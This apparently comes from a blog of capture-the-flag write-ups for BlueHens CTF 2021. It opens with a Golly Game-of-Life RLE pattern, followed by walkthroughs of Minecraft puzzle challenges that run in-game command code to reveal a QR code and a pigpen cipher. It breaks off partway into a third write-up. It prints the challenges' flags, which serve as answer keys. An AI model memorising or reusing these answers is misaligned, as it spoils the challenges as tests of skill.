194b5o3b2o108bo3bo44b2o107b3ob3o432bo265b$
195b3o112b2o5b2o153bobo101b2o5b2o590b$
195b3o111b3o5b3o149bo2bobo2bo97bo2bo3bo2bo150b$
309b3o5b3o148bo2bo3bo2bo5bo91bo2bobo2bo185b3o227b$
469b2o5b2o7b2o92bobo190bo264b$
265b2o217b2o91b3ob3o114b2o71bo265b$
265b2o308b3o5b3o112b2o337b$
575b2o7b2o9bobo$
310b3o119b2o141b2o7b2o9b2o265b$
310b3o62bo3bo52b2o142bob2ob2obo11bo300b2o$
309b5o61bo3bo196b3o3b3o311bobo225bobo$
308b2o3b2o262bo5bo314bo225b2o38b$
308b2o3b2o270bo5bo533bo38b$
372b2obo3bob2o201b3o3b3o571b$
373b3o3b3o43b3o3b3o54b2o94bob2ob2obo168b$
374bo5bo44bo2bobo2bo54b2o93b2o7b2o395b$
308b2o3b2o109bo3bobo3bo148b2o7b2o432b$
308b2o3b2o2b2o106bo2bobo2bo42b2o105b3o5b3o432b$
309b5o3b2o108bo3bo44b2o107b3ob3o434b$
310b3o112b2o5b2o153bobo31b2o68b2o5b2o$
310b3o111b3o5b3o149bo2bobo2bo27bobo67bo2bo3bo2bo147bobo$
424b3o5b3o148bo2bo3bo2bo5bo22bo68bo2bobo2bo148b2o264bo$
584b2o5b2o7b2o92bobo152bo262b2o38b$
380b2o217b2o91b3ob3o114b2o298b2o37b$
380b2o308b3o5b3o112b2o337b$
690b2o7b2o12b$
425b3o119b2o141b2o7b2o276b$
425b3o62bo3bo52b2o142bob2ob2obo314b$
424b5o61bo3bo196b3o3b3o314b$
423b2o3b2o262bo5bo315b$
423b2o3b2o270bo5bo$
487b2obo3bob2o201b3o3b3o131b$
488b3o3b3o43b3o3b3o54b2o94bob2ob2obo166b2o$
489bo5bo44bo2bobo2bo54b2o93b2o7b2o164bobo228b$
423b2o3b2o109bo3bobo3bo148b2o7b2o166bo265b$
423b2o3b2o2b2o106bo2bobo2bo42b2o105b3o5b3o432b$
424b5o3b2o108bo3bo44b2o107b3ob3o434b$
425b3o112b2o5b2o153bobo101b2o5b2o$
425b3o111b3o5b3o149bo2bobo2bo97bo2bo3bo2bo150b$
539b3o5b3o148bo2bo3bo2bo97bo2bobo2bo188b$
699b2o5b2o101bobo191b$
495b2o310b3ob3o114b2o73b$
495b2o308b3o5b3o112b2o$
805b2o7b2o12b$
540b3o119b2o141b2o7b2o46b3o227b$
540b3o62bo3bo52b2o142bob2ob2obo49bo264b$
539b5o61bo3bo196b3o3b3o48bo265b$
538b2o3b2o262bo5bo315b$
538b2o3b2o270bo5bo$
602b2obo3bob2o201b3o3b3o131b$
603b3o3b3o43b3o3b3o54b2o94bob2ob2obo168b$
604bo5bo44bo2bobo2bo54b2o93b2o7b2o167b$
538b2o3b2o109bo3bobo3bo148b2o7b2o167b$
538b2o3b2o2b2o106bo2bobo2bo42b2o105b3o5b3o$
539b5o3b2o108bo3bo44b2o107b3ob3o$
540b3o112b2o5b2o153bobo31b2o68b2o5b2o$
540b3o111b3o5b3o149bo2bobo2bo27bobo67bo2bo3bo2bo150b$
654b3o5b3o148bo2bo3bo2bo5bo22bo68bo2bobo2bo188b$
814b2o5b2o7b2o92bobo191b$
610b2o217b2o91b3ob3o114b2o73b$
610b2o308b3o5b3o112b2o$
920b2o7b2o12b$
655b3o119b2o141b2o7b2o46b3o$
655b3o62bo3bo52b2o142bob2ob2obo49bo$
654b5o61bo3bo196b3o3b3o48bo$
653b2o3b2o262bo5bo$
653b2o3b2o270bo5bo$
717b2obo3bob2o111b3o87b3o3b3o131b$
718b3o3b3o43b3o3b3o54b2o6bo87bob2ob2obo168b$
719bo5bo44bo2bobo2bo54b2o5bo87b2o7b2o167b$
653b2o3b2o109bo3bobo3bo148b2o7b2o167b$
653b2o3b2o2b2o106bo2bobo2bo42b2o105b3o5b3o$
654b5o3b2o108bo3bo44b2o107b3ob3o$
655b3o112b2o5b2o153bobo101b2o5b2o$
655b3o111b3o5b3o149bo2bobo2bo97bo2bo3bo2bo$
769b3o5b3o148bo2bo3bo2bo97bo2bobo2bo$
929b2o5b2o101bobo$
725b2o310b3ob3o$
725b2o308b3o5b3o$
1035b2o7b2o12b$
770b3o119b2o141b2o7b2o49b$
770b3o62bo3bo52b2o142bob2ob2obo50b$
769b5o61bo3bo196b3o3b3o50b$
768b2o3b2o262bo5bo$
768b2o3b2o270bo5bo$
832b2obo3bob2o201b3o3b3o$
833b3o3b3o43b3o3b3o54b2o94bob2ob2obo$
834bo5bo44bo2bobo2bo54b2o93b2o7b2o$
768b2o3b2o109bo3bobo3bo148b2o7b2o$
768b2o3b2o2b2o106bo2bobo2bo42b2o105b3o5b3o$
769b5o3b2o108bo3bo44b2o107b3ob3o$
770b3o112b2o5b2o153bobo33b$
770b3o111b3o5b3o149bo2bobo2bo30b$
884b3o5b3o148bo2bo3bo2bo29b$
1044b2o5b2o9b$
840b2o220b$
840b2o2$
885b3o119b2o$
885b3o62bo3bo52b2o$
884b5o61bo3bo$
883b2o3b2o$
883b2o3b2o$
947b2obo3bob2o114b$
948b3o3b3o43b3o3b3o54b2o7b$
949bo5bo44bo2bobo2bo54b2o7b$
883b2o3b2o109bo3bobo3bo$
883b2o3b2o2b2o106bo2bobo2bo42b2o$
884b5o3b2o108bo3bo44b2o$
885b3o112b2o5b2o$
885b3o111b3o5b3o$
999b3o5b3o2$
955b2o$
955b2o2$
1000b3o119b2o$
1000b3o62bo3bo52b2o$
999b5o61bo3bo$
998b2o3b2o$
998b2o3b2o$
1062b2obo3bob2o$
1063b3o3b3o43b3o3b3o$
1064bo5bo44bo2bobo2bo$
998b2o3b2o109bo3bobo3bo$
998b2o3b2o2b2o106bo2bobo2bo$
999b5o3b2o108bo3bo$
1000b3o112b2o5b2o$
1000b3o111b3o5b3o$
1114b3o5b3o2$
1070b2o$
1070b2o2$
1115b3o$
1115b3o$
1114b5o$
1113b2o3b2o$
1113b2o3b2o4$
1113b2o3b2o$
1113b2o3b2o2b2o$
1114b5o3b2o$
1115b3o$
1115b3o$
!

A quick google search I find that the RLEextension is related to Run Length Encoded Bitmaps.

Further searching I find that there is a tool called “Golly” for viewing RLE files.

I let the online webapp load and then open my golly.rle file in it:

That gives me the flag in a scrolling marquis-type display:

UDCTF{th3y_c4ll_thems3lves_the_fl4g_smash3rs}

This was a pretty unique challenge.

BlueHens CTF 2021: Minecraft: MineR Code

This is from the BlueHensCTF 2021.

Challenge Author: ProfNinja

For this challenge, We are given the following information and links:

Here is the mc86 Intro:

Here is the mc86 InitCode:

/give @p minecraft:written_book{title:"Init CPU",author:"UD Cyberscholars",generation:0,pages:[
"{\"text\":\"Click Here First\\n\",\"color\":\"dark_green\",\"bold\":true,\"underlined\":true,\"hoverEvent\":{\"action\":\"show_text\",\"value\":\"Creating RAM\"},\"clickEvent\":{\"action\":\"run_command\",\"value\":\"/setblock ~1 ~ ~ minecraft:lime_shulker_box\"},
\"extra\":[
{\"text\":\"Click Here Second\\n\",\"color\":\"dark_green\",\"bold\":true,\"underlined\":true,\"hoverEvent\":{\"action\":\"show_text\",\"value\":\"Start Timing Belt\"},\"clickEvent\":{\"action\":\"run_command\",\"value\":\"/setblock ~2 ~1 ~ minecraft:command_block[facing=up]{powered:0b,Command:\\\"setblock ~ ~-1 ~ air\\\"}\"}},
{\"text\":\"Click Here Third\\n\",\"color\":\"dark_green\",\"bold\":true,\"underlined\":true,\"hoverEvent\":{\"action\":\"show_text\",\"value\":\"Finishing Timing Belt\"},\"clickEvent\":{\"action\":\"run_command\",\"value\":\"/setblock ~2 ~2 ~ minecraft:chain_command_block[facing=up]{powered:0b,auto:1b,conditionMet:0b,Command:\\\"execute if data block ~-1 ~-2 ~ Items[0].tag.pages[0] run setblock ~ ~-2 ~ redstone_block\\\"}\"}},
{\"text\":\"Click Here Fourth\\n\",\"color\":\"dark_green\",\"bold\":true,\"underlined\":true,\"hoverEvent\":{\"action\":\"show_text\",\"value\":\"Start CPU\"},\"clickEvent\":{\"action\":\"run_command\",\"value\":\"/setblock ~3 ~ ~ minecraft:command_block[facing=east]{powered:0b,Command:\\\"data modify block ~2 ~ ~ Command set from block ~-2 ~ ~ Items[0].tag.pages[0]\\\"}\"}},
{\"text\":\"Click Here Fifth\\n\",\"color\":\"dark_green\",\"bold\":true,\"underlined\":true,\"hoverEvent\":{\"action\":\"show_text\",\"value\":\"Finishing CPU\"},\"clickEvent\":{\"action\":\"run_command\",\"value\":\"/setblock ~4 ~ ~ minecraft:chain_command_block[facing=east]{powered:0b,auto:1b,conditionMet:0b,Command:\\\"data remove block ~-3 ~ ~ Items[0].tag.pages[0]\\\"}\"}},
{\"text\":\"Click Here Sixth\\n\",\"color\":\"dark_green\",\"bold\":true,\"underlined\":true,\"hoverEvent\":{\"action\":\"show_text\",\"value\":\"Placing ALU\"},\"clickEvent\":{\"action\":\"run_command\",\"value\":\"/setblock ~5 ~ ~ minecraft:chain_command_block[facing=east]{powered:0b,auto:1b,conditionMet:0b}\"}}]}"]} 1

Finally, here is the challenge source code:

/give @p writable_book{pages:["/fill ~-1 ~26 ~-5 ~25 ~ ~-5 white_concrete","/fill ~0 ~25 ~-5 ~6 ~25 ~-5 black_concrete","/fill ~9 ~25 ~-5 ~11 ~25 ~-5 black_concrete","/fill ~14 ~25 ~-5 ~14 ~23 ~-5 black_concrete","/fill ~18 ~25 ~-5 ~24 ~25 ~-5 black_concrete","/fill ~0 ~24 ~-5 ~0 ~19 ~-5 black_concrete","/fill ~6 ~24 ~-5 ~6 ~19 ~-5 black_concrete","/fill ~11 ~24 ~-5 ~13 ~24 ~-5 black_concrete","/fill ~16 ~24 ~-5 ~16 ~24 ~-5 black_concrete","/fill ~18 ~24 ~-5 ~18 ~19 ~-5 black_concrete","/fill ~24 ~24 ~-5 ~24 ~19 ~-5 black_concrete","/fill ~2 ~23 ~-5 ~4 ~21 ~-5 black_concrete","/fill ~9 ~23 ~-5 ~11 ~23 ~-5 black_concrete","/fill ~20 ~23 ~-5 ~22 ~21 ~-5 black_concrete","/fill ~8 ~22 ~-5 ~8 ~21 ~-5 black_concrete","/fill ~10 ~22 ~-5 ~13 ~22 ~-5 black_concrete","/fill ~16 ~22 ~-5 ~16 ~21 ~-5 black_concrete","/fill ~10 ~21 ~-5 ~10 ~19 ~-5 black_concrete","/fill ~12 ~21 ~-5 ~13 ~21 ~-5 black_concrete","/fill ~9 ~20 ~-5 ~9 ~20 ~-5 black_concrete","/fill ~14 ~20 ~-5 ~14 ~18 ~-5 black_concrete","/fill ~1 ~19 ~-5 ~5 ~19 ~-5 black_concrete","/fill ~8 ~19 ~-5 ~8 ~19 ~-5 black_concrete","/fill ~12 ~19 ~-5 ~12 ~19 ~-5 black_concrete","/fill ~16 ~19 ~-5 ~16 ~18 ~-5 black_concrete","/fill ~19 ~19 ~-5 ~23 ~19 ~-5 black_concrete","/fill ~9 ~18 ~-5 ~9 ~17 ~-5 black_concrete","/fill ~15 ~18 ~-5 ~15 ~18 ~-5 black_concrete","/fill ~0 ~17 ~-5 ~1 ~17 ~-5 black_concrete","/fill ~5 ~17 ~-5 ~7 ~17 ~-5 black_concrete","/fill ~10 ~17 ~-5 ~10 ~16 ~-5 black_concrete","/fill ~13 ~17 ~-5 ~13 ~15 ~-5 black_concrete","/fill ~20 ~17 ~-5 ~21 ~16 ~-5 black_concrete","/fill ~2 ~16 ~-5 ~4 ~15 ~-5 black_concrete","/fill ~8 ~16 ~-5 ~8 ~16 ~-5 black_concrete","/fill ~11 ~16 ~-5 ~11 ~16 ~-5 black_concrete","/fill ~14 ~16 ~-5 ~16 ~16 ~-5 black_concrete","/fill ~19 ~16 ~-5 ~19 ~16 ~-5 black_concrete","/fill ~22 ~16 ~-5 ~23 ~16 ~-5 black_concrete","/fill ~0 ~15 ~-5 ~1 ~15 ~-5 black_concrete","/fill ~6 ~15 ~-5 ~6 ~15 ~-5 black_concrete","/fill ~9 ~15 ~-5 ~9 ~15 ~-5 black_concrete","/fill ~14 ~15 ~-5 ~15 ~15 ~-5 black_concrete","/fill ~21 ~15 ~-5 ~21 ~14 ~-5 black_concrete","/fill ~23 ~15 ~-5 ~24 ~15 ~-5 black_concrete","/fill ~5 ~14 ~-5 ~5 ~13 ~-5 black_concrete","/fill ~10 ~14 ~-5 ~11 ~12 ~-5 black_concrete","/fill ~14 ~14 ~-5 ~14 ~11 ~-5 black_concrete","/fill ~16 ~14 ~-5 ~19 ~14 ~-5 black_concrete","/fill ~24 ~14 ~-5 ~24 ~13 ~-5 black_concrete","/fill ~0 ~13 ~-5 ~0 ~9 ~-5 black_concrete","/fill ~4 ~13 ~-5 ~4 ~11 ~-5 black_concrete","/fill ~6 ~13 ~-5 ~9 ~13 ~-5 black_concrete","/fill ~16 ~13 ~-5 ~16 ~12 ~-5 black_concrete","/fill ~18 ~13 ~-5 ~18 ~13 ~-5 black_concrete","/fill ~2 ~12 ~-5 ~2 ~9 ~-5 black_concrete","/fill ~7 ~12 ~-5 ~8 ~12 ~-5 black_concrete","/fill ~15 ~12 ~-5 ~15 ~8 ~-5 black_concrete","/fill ~19 ~12 ~-5 ~19 ~9 ~-5 black_concrete","/fill ~23 ~12 ~-5 ~23 ~11 ~-5 black_concrete","/fill ~3 ~11 ~-5 ~3 ~11 ~-5 black_concrete","/fill ~5 ~11 ~-5 ~7 ~11 ~-5 black_concrete","/fill ~9 ~11 ~-5 ~9 ~10 ~-5 black_concrete","/fill ~12 ~11 ~-5 ~12 ~11 ~-5 black_concrete","/fill ~17 ~11 ~-5 ~17 ~11 ~-5 black_concrete","/fill ~20 ~11 ~-5 ~21 ~11 ~-5 black_concrete","/fill ~24 ~11 ~-5 ~24 ~10 ~-5 black_concrete","/fill ~5 ~10 ~-5 ~5 ~10 ~-5 black_concrete","/fill ~8 ~10 ~-5 ~8 ~6 ~-5 black_concrete","/fill ~16 ~10 ~-5 ~16 ~4 ~-5 black_concrete","/fill ~21 ~10 ~-5 ~22 ~10 ~-5 black_concrete","/fill ~6 ~9 ~-5 ~7 ~9 ~-5 black_concrete","/fill ~10 ~9 ~-5 ~10 ~9 ~-5 black_concrete","/fill ~13 ~9 ~-5 ~14 ~9 ~-5 black_concrete","/fill ~17 ~9 ~-5 ~18 ~9 ~-5 black_concrete","/fill ~20 ~9 ~-5 ~20 ~5 ~-5 black_concrete","/fill ~22 ~9 ~-5 ~22 ~9 ~-5 black_concrete","/fill ~9 ~8 ~-5 ~9 ~8 ~-5 black_concrete","/fill ~11 ~8 ~-5 ~11 ~6 ~-5 black_concrete","/fill ~0 ~7 ~-5 ~6 ~7 ~-5 black_concrete","/fill ~10 ~7 ~-5 ~10 ~5 ~-5 black_concrete","/fill ~12 ~7 ~-5 ~12 ~7 ~-5 black_concrete","/fill ~18 ~7 ~-5 ~18 ~7 ~-5 black_concrete","/fill ~24 ~7 ~-5 ~24 ~6 ~-5 black_concrete","/fill ~0 ~6 ~-5 ~0 ~1 ~-5 black_concrete","/fill ~6 ~6 ~-5 ~6 ~1 ~-5 black_concrete","/fill ~15 ~6 ~-5 ~15 ~4 ~-5 black_concrete","/fill ~2 ~5 ~-5 ~4 ~3 ~-5 black_concrete","/fill ~9 ~5 ~-5 ~9 ~3 ~-5 black_concrete","/fill ~13 ~5 ~-5 ~14 ~4 ~-5 black_concrete","/fill ~17 ~5 ~-5 ~19 ~5 ~-5 black_concrete","/fill ~22 ~5 ~-5 ~23 ~5 ~-5 black_concrete","/fill ~11 ~4 ~-5 ~11 ~4 ~-5 black_concrete","/fill ~17 ~4 ~-5 ~18 ~4 ~-5 black_concrete","/fill ~23 ~4 ~-5 ~24 ~4 ~-5 black_concrete","/fill ~17 ~3 ~-5 ~17 ~3 ~-5 black_concrete","/fill ~21 ~3 ~-5 ~22 ~3 ~-5 black_concrete","/fill ~24 ~3 ~-5 ~24 ~1 ~-5 black_concrete","/fill ~8 ~2 ~-5 ~8 ~1 ~-5 black_concrete","/fill ~12 ~2 ~-5 ~12 ~2 ~-5 black_concrete","/fill ~15 ~2 ~-5 ~16 ~2 ~-5 black_concrete","/fill ~19 ~2 ~-5 ~20 ~2 ~-5 black_concrete","/fill ~1 ~1 ~-5 ~5 ~1 ~-5 black_concrete","/fill ~16 ~1 ~-5 ~16 ~1 ~-5 black_concrete","/fill ~18 ~1 ~-5 ~18 ~1 ~-5 black_concrete","/fill ~21 ~1 ~-5 ~21 ~1 ~-5 black_concrete"]}

As recommended by the challenge text, I got the latest Minecraft Java Launcher and launched a world:

I followed the YouTube video and gave myself a command block, placed it with a button on it, and posted the mc86 initcode:

I clicked the button and received an enchanted book:

I followed the instructions and clicked each of the six links to generate my mc86 computer in my world:

Next, following the YouTube video, I pasted the challenge source code into the command block I created earlier and click the button:

This gave me a book and quill with 106 pages of instructions:

I then placed this book and quill into the Shulker Box:

I placed a button in the mc86 computer (as directed in the YouTube video) and and clicked it to run the challenge program:

This generated a giant QR code in my world:

After scanning the QR code, I got the following link:

https://gist.github.com/AndyNovo/30aa5b2665aa388dc81545f79ccb380f

This link gave me this code:

/give @p writable_book{pages:['/setblock ~5 ~0 ~5 blue_banner[rotation=0]{Patterns:[{Pattern:"bs",Color:4},{Pattern:"ls",Color:4},{Pattern:"rs",Color:4},{Pattern:"bo",Color:11}]}', '/setblock ~6 ~0 ~5 blue_banner[rotation=0]{Patterns:[{Pattern:"rs",Color:4},{Pattern:"bs",Color:4},{Pattern:"ts",Color:4},{Pattern:"cbo",Color:11},{Pattern:"ls",Color:4},{Pattern:"bo",Color:11}]}', '/setblock ~7 ~0 ~5 blue_banner[rotation=0]{Patterns:[{Pattern:"ts",Color:4},{Pattern:"bs",Color:4},{Pattern:"rs",Color:4},{Pattern:"ms",Color:11},{Pattern:"ls",Color:4},{Pattern:"bo",Color:11}]}', '/setblock ~8 ~0 ~5 blue_banner[rotation=0]{Patterns:[{Pattern:"ts",Color:4},{Pattern:"cs",Color:4},{Pattern:"bo",Color:11}]}', '/setblock ~9 ~0 ~5 blue_banner[rotation=0]{Patterns:[{Pattern:"ms",Color:4},{Pattern:"rs",Color:11},{Pattern:"ts",Color:4},{Pattern:"ls",Color:4},{Pattern:"bo",Color:11}]}', '/setblock ~10 ~0 ~5 yellow_banner[rotation=0]{Patterns:[{Pattern:"cbo",Color:11},{Pattern:"vhr",Color:11},{Pattern:"bo",Color:11},{Pattern:"mr",Color:11}]}', '/setblock ~11 ~0 ~5 blue_banner[rotation=0]{Patterns:[{Pattern:"tt",Color:4},{Pattern:"tts",Color:11},{Pattern:"ls",Color:4},{Pattern:"rs",Color:4},{Pattern:"bo",Color:11}]}', '/setblock ~12 ~0 ~5 blue_banner[rotation=0]{Patterns:[{Pattern:"tl",Color:4},{Pattern:"cs",Color:4},{Pattern:"bs",Color:4},{Pattern:"bo",Color:11}]}', '/setblock ~13 ~0 ~5 blue_banner[rotation=0]{Patterns:[{Pattern:"ls",Color:4},{Pattern:"tt",Color:11},{Pattern:"drs",Color:4},{Pattern:"rs",Color:4},{Pattern:"bo",Color:11}]}', '/setblock ~14 ~0 ~5 blue_banner[rotation=0]{Patterns:[{Pattern:"ts",Color:4},{Pattern:"bs",Color:4},{Pattern:"ms",Color:4},{Pattern:"rs",Color:4},{Pattern:"bo",Color:11}]}', '/setblock ~15 ~0 ~5 blue_banner[rotation=0]{Patterns:[{Pattern:"ts",Color:4},{Pattern:"bs",Color:4},{Pattern:"rs",Color:4},{Pattern:"ms",Color:11},{Pattern:"ls",Color:4},{Pattern:"bo",Color:11}]}', '/setblock ~16 ~0 ~5 blue_banner[rotation=0]{Patterns:[{Pattern:"hh",Color:4},{Pattern:"cs",Color:11},{Pattern:"ts",Color:4},{Pattern:"ls",Color:4},{Pattern:"drs",Color:4},{Pattern:"bo",Color:11}]}', '/setblock ~17 ~0 ~5 blue_banner[rotation=0]{Patterns:[{Pattern:"ls",Color:4},{Pattern:"hhb",Color:11},{Pattern:"ms",Color:4},{Pattern:"rs",Color:4},{Pattern:"bo",Color:11}]}', '/setblock ~18 ~0 ~5 blue_banner[rotation=0]{Patterns:[{Pattern:"ms",Color:4},{Pattern:"rs",Color:11},{Pattern:"ts",Color:4},{Pattern:"ls",Color:4},{Pattern:"bo",Color:11}]}', '/setblock ~19 ~0 ~5 blue_banner[rotation=0]{Patterns:[{Pattern:"ts",Color:4},{Pattern:"cs",Color:4},{Pattern:"bo",Color:11}]}', '/setblock ~20 ~0 ~5 blue_banner[rotation=0]{Patterns:[{Pattern:"bo",Color:4},{Pattern:"rud",Color:11},{Pattern:"ld",Color:11}]}', '/setblock ~21 ~0 ~5 blue_banner[rotation=0]{Patterns:[{Pattern:"ls",Color:4},{Pattern:"hhb",Color:11},{Pattern:"ms",Color:4},{Pattern:"rs",Color:4},{Pattern:"bo",Color:11}]}', '/setblock ~22 ~0 ~5 yellow_banner[rotation=0]{Patterns:[{Pattern:"mr",Color:11},{Pattern:"ms",Color:11},{Pattern:"drs",Color:4},{Pattern:"bo",Color:11}]}', '/setblock ~23 ~0 ~5 yellow_banner[rotation=0]{Patterns:[{Pattern:"mr",Color:11},{Pattern:"ms",Color:11},{Pattern:"drs",Color:4},{Pattern:"bo",Color:11}]}', '/setblock ~24 ~0 ~5 blue_banner[rotation=0]{Patterns:[{Pattern:"ts",Color:4},{Pattern:"bs",Color:4},{Pattern:"ms",Color:4},{Pattern:"rs",Color:4},{Pattern:"bo",Color:11}]}', '/setblock ~25 ~0 ~5 blue_banner[rotation=0]{Patterns:[{Pattern:"tt",Color:4},{Pattern:"tts",Color:11},{Pattern:"ls",Color:4},{Pattern:"rs",Color:4},{Pattern:"bo",Color:11}]}', '/setblock ~26 ~0 ~5 blue_banner[rotation=0]{Patterns:[{Pattern:"rs",Color:4},{Pattern:"bs",Color:4},{Pattern:"ts",Color:4},{Pattern:"cbo",Color:11},{Pattern:"ls",Color:4},{Pattern:"ms",Color:4},{Pattern:"bo",Color:11}]}', '/setblock ~27 ~0 ~5 blue_banner[rotation=0]{Patterns:[{Pattern:"bs",Color:4},{Pattern:"ls",Color:4},{Pattern:"bo",Color:11}]}', '/setblock ~28 ~0 ~5 blue_banner[rotation=0]{Patterns:[{Pattern:"drs",Color:4},{Pattern:"hhb",Color:11},{Pattern:"dls",Color:4},{Pattern:"bo",Color:11}]}', '/setblock ~29 ~0 ~5 blue_banner[rotation=0]{Patterns:[{Pattern:"bo",Color:4},{Pattern:"rud",Color:11},{Pattern:"ld",Color:11}]}', '/setblock ~30 ~0 ~5 blue_banner[rotation=0]{Patterns:[{Pattern:"drs",Color:4},{Pattern:"hhb",Color:11},{Pattern:"dls",Color:4},{Pattern:"bo",Color:11}]}', '/setblock ~31 ~0 ~5 blue_banner[rotation=0]{Patterns:[{Pattern:"ts",Color:4},{Pattern:"bs",Color:4},{Pattern:"rs",Color:4},{Pattern:"ls",Color:4},{Pattern:"bo",Color:11}]}', '/setblock ~32 ~0 ~5 yellow_banner[rotation=0]{Patterns:[{Pattern:"cbo",Color:11},{Pattern:"vh",Color:11},{Pattern:"mr",Color:11}]}']}

I then placed this code into my command block and clicked the button to run it:

This gave me another book and quill with 28 pages:

I placed it into the Shulker Box, added another button, and clicked it to run the code:

This generated the flag:

UDCTF{M1N3CR4FT_4SS3MBLY_Y0}

BlueHens CTF 2021: Minecraft: Modest Cipher

This is from the BlueHensCTF 2021.

Challenge Author: Izzy and ProfNinja

For this challenge, We are given the following information and links:

Here is the mc86 Intro:

Here is the mc86 InitCode:

/give @p minecraft:written_book{title:"Init CPU",author:"UD Cyberscholars",generation:0,pages:[
"{\"text\":\"Click Here First\\n\",\"color\":\"dark_green\",\"bold\":true,\"underlined\":true,\"hoverEvent\":{\"action\":\"show_text\",\"value\":\"Creating RAM\"},\"clickEvent\":{\"action\":\"run_command\",\"value\":\"/setblock ~1 ~ ~ minecraft:lime_shulker_box\"},
\"extra\":[
{\"text\":\"Click Here Second\\n\",\"color\":\"dark_green\",\"bold\":true,\"underlined\":true,\"hoverEvent\":{\"action\":\"show_text\",\"value\":\"Start Timing Belt\"},\"clickEvent\":{\"action\":\"run_command\",\"value\":\"/setblock ~2 ~1 ~ minecraft:command_block[facing=up]{powered:0b,Command:\\\"setblock ~ ~-1 ~ air\\\"}\"}},
{\"text\":\"Click Here Third\\n\",\"color\":\"dark_green\",\"bold\":true,\"underlined\":true,\"hoverEvent\":{\"action\":\"show_text\",\"value\":\"Finishing Timing Belt\"},\"clickEvent\":{\"action\":\"run_command\",\"value\":\"/setblock ~2 ~2 ~ minecraft:chain_command_block[facing=up]{powered:0b,auto:1b,conditionMet:0b,Command:\\\"execute if data block ~-1 ~-2 ~ Items[0].tag.pages[0] run setblock ~ ~-2 ~ redstone_block\\\"}\"}},
{\"text\":\"Click Here Fourth\\n\",\"color\":\"dark_green\",\"bold\":true,\"underlined\":true,\"hoverEvent\":{\"action\":\"show_text\",\"value\":\"Start CPU\"},\"clickEvent\":{\"action\":\"run_command\",\"value\":\"/setblock ~3 ~ ~ minecraft:command_block[facing=east]{powered:0b,Command:\\\"data modify block ~2 ~ ~ Command set from block ~-2 ~ ~ Items[0].tag.pages[0]\\\"}\"}},
{\"text\":\"Click Here Fifth\\n\",\"color\":\"dark_green\",\"bold\":true,\"underlined\":true,\"hoverEvent\":{\"action\":\"show_text\",\"value\":\"Finishing CPU\"},\"clickEvent\":{\"action\":\"run_command\",\"value\":\"/setblock ~4 ~ ~ minecraft:chain_command_block[facing=east]{powered:0b,auto:1b,conditionMet:0b,Command:\\\"data remove block ~-3 ~ ~ Items[0].tag.pages[0]\\\"}\"}},
{\"text\":\"Click Here Sixth\\n\",\"color\":\"dark_green\",\"bold\":true,\"underlined\":true,\"hoverEvent\":{\"action\":\"show_text\",\"value\":\"Placing ALU\"},\"clickEvent\":{\"action\":\"run_command\",\"value\":\"/setblock ~5 ~ ~ minecraft:chain_command_block[facing=east]{powered:0b,auto:1b,conditionMet:0b}\"}}]}"]} 1

Finally, here is the challenge source code:

/give @p writable_book{pages:["/fill ~ ~4 ~ ~6 ~6 ~15 dirt","/fill ~ ~7 ~5 ~6 ~7 ~5 acacia_fence","/fill ~ ~7 ~3 ~6 ~7 ~3 acacia_fence","/fill ~4 ~7 ~1 ~4 ~7 ~7 acacia_fence","/fill ~2 ~7 ~1 ~2 ~7 ~7 acacia_fence","/setblock ~1 ~7 ~10 acacia_fence","/setblock ~2 ~7 ~11 acacia_fence","/setblock ~3 ~7 ~12 acacia_fence","/setblock ~4 ~7 ~13 acacia_fence","/setblock ~5 ~7 ~14 acacia_fence","/setblock ~5 ~7 ~10 acacia_fence","/setblock ~4 ~7 ~11 acacia_fence","/setblock ~2 ~7 ~13 acacia_fence","/setblock ~1 ~7 ~14 acacia_fence","/clone ~4 ~4 ~5 ~6 ~7 ~7 ~ ~-3 ~5","/fill ~1 ~-1 ~6 ~1 ~-2 ~6 air","/summon pig ~1 ~-2 ~6","/clone ~ ~4 ~5 ~2 ~7 ~7 ~ ~-3 ~9","/clone ~1 ~4 ~10 ~5 ~7 ~12 ~ ~-3 ~13","/clone ~2 ~4 ~3 ~4 ~7 ~5 ~ ~-3 ~17","/clone ~ ~4 ~5 ~2 ~7 ~7 ~ ~-3 ~21","/fill ~1 ~-1 ~22 ~1 ~-2 ~22 air","/summon pig ~1 ~-2 ~22","/clone ~4 ~4 ~1 ~6 ~7 ~3 ~ ~-3 ~25","/clone ~4 ~4 ~5 ~6 ~7 ~7 ~ ~-3 ~29","/fill ~1 ~-1 ~30 ~1 ~-2 ~30 air","/summon pig ~1 ~-2 ~30","/clone ~ ~4 ~1 ~2 ~7 ~3 ~ ~-3 ~33","/fill ~1 ~-1 ~34 ~1 ~-2 ~34 air","/summon pig ~1 ~-2 ~34","/clone ~ ~4 ~5 ~2 ~7 ~7 ~ ~-3 ~37","/clone ~ ~4 ~1 ~2 ~7 ~3 ~ ~-3 ~41","/clone ~ ~4 ~1 ~2 ~7 ~3 ~ ~-3 ~45","/fill ~1 ~-1 ~46 ~1 ~-2 ~46 air","/summon pig ~1 ~-2 ~46","/clone ~2 ~4 ~3 ~4 ~7 ~5 ~ ~-3 ~49","/clone ~2 ~4 ~3 ~4 ~7 ~5 ~ ~-3 ~53","/fill ~1 ~-1 ~54 ~1 ~-2 ~54 air","/summon pig ~1 ~-2 ~54","/clone ~3 ~4 ~10 ~5 ~7 ~14 ~ ~-3 ~57","/fill ~ ~4 ~ ~6 ~7 ~15 air"]}

As recommended by the challenge text, I got the latest Minecraft Java Launcher and launched a world:

I followed the YouTube video and gave myself a command block, placed it with a button on it, and posted the mc86 initcode:

I clicked the button and received an enchanted book:

I followed the instructions and clicked each of the six links to generate my mc86 computer in my world:

Next, following the YouTube video, I pasted the challenge source code into the command block I created earlier and click the button:

This gave me a 41 page book and quill:

I placed a button in the mc86 computer (as directed in the YouTube video) and and clicked it to run the challenge program:

This created a strange pattern of fence panels with pigs being in holes in some of the sections:

Here is a better view of the whole structure:

Based on the challenge name, I googled for ciphers containing symbols (looking for symbols similar to the fance panels). This led me to the pigpen cipher:

Being lazy, I go to my favorite cipher decoder website… dcode.fr:

I punch in the symbols found in my Minecraft world and click to decrypt it:

This gave me the flag:

UDCTF{LITERALPIGPENS}

BlueHens CTF 2021: Minecraft: Mega Chickens

This is from the BlueHensCTF 2021.

Challenge Author: ProfNinja, Gkonos, Daniel

For this challenge, We are given the following information and links:

Here is the mc86 Intro:

Here is the mc86 InitCode:

/give @p minecraft:written_book{title:"Init CPU",author:"UD Cyberscholars",generation:0,pages:[
